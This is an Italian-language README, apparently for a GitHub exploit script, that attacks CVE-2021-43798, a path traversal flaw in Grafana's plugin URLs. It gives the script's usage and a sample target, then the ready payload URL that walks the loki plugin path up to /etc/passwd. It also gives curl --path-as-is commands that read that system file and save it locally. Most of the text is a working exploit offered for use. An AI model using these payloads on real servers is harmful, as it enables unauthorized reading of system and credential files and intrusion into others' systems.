g01d3nw01f/cve-2021-43798Exploit Python per CVE-2021-43798, una vulnerabilità di path traversal in Grafana che consente la lettura arbitraria di file tramite directory traversal negli URL dei plugin.
usage: grafana-exploit.py [-h] -H/--host HOST grafana-exploit.py: errore: i seguenti argomenti sono obbligatori: -H/--host
esempio: python3 grafana-exploit.py --host <host_target>
in caso di lettura riuscita di un file arbitrario mostra l'URL della richiesta e il comando curl
[+]RequestURL
http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd
[+]curl_command
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd"
quindi se vuoi scaricare il file esegui come sopra
curl --path-as-is "http://example.host/public/plugins/loki/../../../../../../../../../../../../../etc/passwd" -o passwd